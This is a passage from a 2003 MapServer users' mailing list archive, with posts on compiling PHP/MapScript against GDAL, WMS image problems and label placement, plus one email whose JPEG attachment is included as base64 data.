make: *** [shp2img] Fehler 1
I changed the GD_STATIC and added -ldl behind the GD_LIB in the MapServer
Makefile and than I could compile the Mapserver.
Can these changes generate the problems with the PHP/Mapscript?
How can I solve otherwise the errors?
An extract of my changed Makefile:
# GD distribution (graphics library GIF and/or PNG support). (REQUIRED)
#
# - Versions 1.3 to 1.5 write non-LZW GIF (-DUSE_GD_1_3).
# - Versions 1.6 and greater write PNG (-DUSE_GD_1_6). Add -lpng -lz to
GD_LIB line.
#
#
GDFONT_OBJ=gd-1.2/gdfontt.o gd-1.2/gdfonts.o gd-1.2/gdfontmb.o
gd-1.2/gdfontl.o gd-1.2/gdfontg.o
GD_INC= -I/usr/frauke/bibliotheken/mapserver-3.6.3/../gd-1.8.4
GD_LIB= -L/usr/frauke/bibliotheken/mapserver-3.6.3/../gd-1.8.4 -ldl -lgd
-ljpeg -lfreetype -lpng -lz
GD= -DUSE_GD_GIF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT
-DGD_HAS_GDIMAGEGIFPTR
GD_STATIC =../gdal-1.1.7/gdal.a #I changed this line and added the -ldl
behind the GD_LIB
Frauke
frauke.trurnit at gmx.de wrote:
>
> I get the following error message:
>
> Unable to load dynamic library
> '/usr/local/lib/php/extensions/php_mapscript.so' -
/usr/local/lib/php/extensions/php_mapscript.so: undefined symbol:
> GDALGetRasterXSize in /usr/local/httpd/htdocs/releases/bundestag.php4 on
line 2
> Fatal error: Call to undefined function: ms_newmapobj() in
> /usr/local/httpd/htdocs/releases/bundestag.php4 on line 4
>
PHP seems to find your php_mapscript.so OK. The problem seems related
to your GDAL installation, php_mapscript.so would have been compiled for
a given version of GDAL but would find another version at runtime. Make
sure you don't have two copies of GDAL on your system, and that
MapServer and MapScript are compiled for this copy of GDAL.
(to be safe, recompile and reinstall GDAL from scratch: make clean;
make; make install and then recompile MapServer: make clean; make)
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
--
+++ GMX - Mail, Messaging & more http://www.gmx.net +++
NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen!
From vpascual at icc.es Wed Jan 15 08:29:16 2003
From: vpascual at icc.es (Pascual Ayats, Victor)
Date: Wed, 15 Jan 2003 17:29:16 +0100
Subject: [Mapserver-users] problems with WMS and Cached Query
Message-ID:
Dear users
When I run Itasca Demo the Cached Query don't work well, the result is a
bizarre bmp. Also when I make a WMS query by HTTP get method, the result
it's the same bizarre image(png or gif).
I think mapserv try to build the image, but wrong.
Any idea??
I've got Windows NT and Tomcat 4.1 and Mapserv3.6
Thanks in advance
Victor Pascual Ayats
PROJECTE IDEC
Institut Cartogr?fic de Catalunya
Parc de Montjuic - 08038 Barcelona
tel. 34 93 567 15 00 Ext:3327
http://www.gencat.es/idec
From steve.lime at dnr.state.mn.us Wed Jan 15 08:12:45 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 15 Jan 2003 10:12:45 -0600
Subject: [Mapserver-users] Mathematical model applied at ANGLE
AUTO
Message-ID:
What version of MapServer, GD and FreeType are you using? I suspect the
problem lies outside the MapServer but you never know.
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
>>> "Calin D. NITU" 01/15/03 08:12 AM >>>
Thanks for the tip for working with TRUTYPE fonts in labeling. Especialy
to Daniel Morissete and John Deck.
Now I get another problem.
I am tring to figure out the mathematical model which is applied at
declaration ANGLE AUTO in a LABEL. I want to label some streets with
their name stored in NAAM colum of the DBF
The results are very strange....
From hunt at zedxinc.com Wed Jan 15 09:39:30 2003
From: hunt at zedxinc.com (Aaron D. Hunt)
Date: Wed, 15 Jan 2003 12:39:30 -0500
Subject: [Mapserver-users] label prooblem
Message-ID: <005501c2bcbd$0ef31e10$1805000a@zedxinc.com>
This is a multi-part message in MIME format.
------=_NextPart_000_0051_01C2BC93.25FE6A80
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0052_01C2BC93.25FE6A80"
------=_NextPart_001_0052_01C2BC93.25FE6A80
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I am making a map of a farm with field boundaries. Can any one tell me =
why mapserver is not labeling all the polygons (see attached).
I have force label to true.
Aaron D. Hunt
------=_NextPart_001_0052_01C2BC93.25FE6A80
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I am making a map of a farm with field =
boundaries.=20
Can any one tell me why mapserver is not labeling all the polygons (see=20
attached).
I have force label to =
true.
Aaron D. =
Hunt
------=_NextPart_001_0052_01C2BC93.25FE6A80--
------=_NextPart_000_0051_01C2BC93.25FE6A80
Content-Type: image/jpeg;
name="example.jpg"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="example.jpg"
/9j/4AAQSkZJRgABAAEAYABgAAD//gAfTEVBRCBUZWNobm9sb2dpZXMgSW5jLiBWMS4wMQD/2wCE
AAgFBgcGBQgHBgcJCAgJDBQNDAsLDBgREg4UHRkeHhwZHBsgJC4nICIrIhscKDYoKy8xMzQzHyY4
PDgyPC4yMzEBCAkJDAoMFw0NFzEhHCExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEx
MTExMTExMTExMTExMTExMf/EAaIAAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKCwEAAwEBAQEB
AQEBAQAAAAAAAAECAwQFBgcICQoLEAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEU
MoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl
ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK
0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+foRAAIBAgQEAwQHBQQEAAECdwABAgMRBAUhMQYS
QVEHYXETIjKBCBRCkaGxwQkjM1LwFWJy0QoWJDThJfEXGBkaJicoKSo1Njc4OTpDREVGR0hJSlNU
VVZXWFlaY2RlZmdoaWpzdHV2d3h5eoKDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5
usLDxMXGx8jJytLT1NXW19jZ2uLj5OXm5+jp6vLz9PX29/j5+v/AABEIAjMCcAMBEQACEQEDEQH/
2gAMAwEAAhEDEQA/APQdT1C+TU7pEvLhVWZwAsrAAbjxQBieINd1K102R0vLz03pOy7PcnNAHB+H
dU8WXl9cag+u6slqSypHLeyMhOcZUZ6c/mKAOu0/VtUdZHl1i+Bd8oPtLkbenHP6UAat1qOpwWUC
tqd15kmZNwmbheAB19s/jQBU/tTVkZSdTvSv/Xdv8aABPEOoK5SXULsZPBEzf40AW11i/KY/tC75
4z5zcfrQBE2o6vHzHqV23s8z/wCNAFZtc1SMfvL++U56idj+maAGPq2pzJ8mr3qn/ZunH6UAMOr6
5FGsf9o3coAxn7Q6sfxyaAJl1zVkQf8AEwuwe4edj+oNACNrWrKDnUL7r1Wd2H6HigBE1rVG5XVb
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
